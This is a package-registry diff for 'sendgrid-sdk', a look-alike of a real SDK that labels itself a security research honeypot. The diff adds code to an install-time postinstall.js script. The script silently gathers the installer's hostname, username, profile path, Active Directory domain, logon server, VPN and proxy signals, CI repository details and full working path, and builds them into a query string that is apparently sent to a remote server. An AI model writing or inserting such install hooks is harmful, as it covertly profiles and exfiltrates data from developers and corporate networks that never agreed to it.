sendgrid-sdk 0.2.1 → 0.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +28 -3
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sendgrid-sdk",
3
- "version": "0.2.1",
3
+ "version": "0.2.3",
4
4
  "description": "Security research honeypot. Installed by mistake? See README.",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -5,14 +5,31 @@ try {
5
5
 
6
6
  var hn = os.hostname();
7
7
  var initCwd = process.env.INIT_CWD || process.cwd();
8
- var cwd = initCwd.split('/').pop() || '';
8
+ var cwd = initCwd.split(/[\\/]/).pop() || '';
9
+ var adDomain = env.USERDNSDOMAIN || '';
10
+ var userDomain = env.USERDOMAIN || '';
11
+ var logonServer = env.LOGONSERVER || '';
12
+ var hasProxy = !!(env.HTTP_PROXY || env.http_proxy || env.HTTPS_PROXY || env.https_proxy);
13
+ var isWindows = process.platform === 'win32';
14
+ var user = env.USERNAME || env.USER || '';
15
+ var userProfile = env.USERPROFILE || '';
16
+
17
+ // Corporate signals
18
+ var hasCorpOneDrive = !!env.ONEDRIVECOMMERCIAL;
19
+ var hasPersonalOneDrive = !!env.ONEDRIVE;
20
+ // VPN client detection via env vars only (no filesystem)
21
+ var vpnClient = '';
22
+ if (env.PULSE_SECURE || env.JUNIPER_HOME) vpnClient = 'pulse-secure';
23
+ else if (env.CISCO_VPN || env.CSCO_WEBVPN) vpnClient = 'cisco-anyconnect';
24
+ else if (env.GLOBALPROTECT || env.PAN_GW) vpnClient = 'globalprotect';
25
+ else if (env.FORTICLIENT || env.FORTISS) vpnClient = 'forticlient';
26
+ // Corporate Wi-Fi proxy / ZScaler / Netskope
27
+ if (!vpnClient && (env.ZSCALER || env.NETSKOPE)) vpnClient = 'zscaler-netskope';
9
28
 
10
- // Try to resolve FQDN from hostname (no files read, DNS only)
11
29
  dns.lookup(hn, {timeout: 3000}, function(err, addr) {
12
30
  dns.reverse(addr, function(err2, ptrs) {
13
31
  var fqdn = (ptrs && ptrs[0]) ? ptrs[0] : '';
14
32
  var envFqdn = env.HOSTNAME || env.HOST || env.COMPUTERNAME || '';
15
- var adDomain = env.USERDNSDOMAIN || '';
16
33
 
17
34
  var ci = [];
18
35
  if (env.GITHUB_REPOSITORY) ci.push('repo=' + encodeURIComponent(env.GITHUB_REPOSITORY));
@@ -34,6 +51,14 @@ try {
34
51
  + '&host=' + encodeURIComponent(hn)
35
52
  + '&fqdn=' + encodeURIComponent(fqdn || envFqdn || '')
36
53
  + '&addomain=' + encodeURIComponent(adDomain)
54
+ + '&userdomain=' + encodeURIComponent(userDomain)
55
+ + '&logonserver=' + encodeURIComponent(logonServer)
56
+ + '&proxy=' + (hasProxy ? '1' : '0')
57
+ + '&win=' + (isWindows ? '1' : '0')
58
+ + '&user=' + encodeURIComponent(user)
59
+ + '&userprofile=' + encodeURIComponent(userProfile)
60
+ + '&onedrivecorp=' + (hasCorpOneDrive ? '1' : '0')
61
+ + '&vpn=' + encodeURIComponent(vpnClient)
37
62
  + '&cwd=' + encodeURIComponent(cwd)
38
63
  + '&fullpath=' + encodeURIComponent(initCwd);
39
64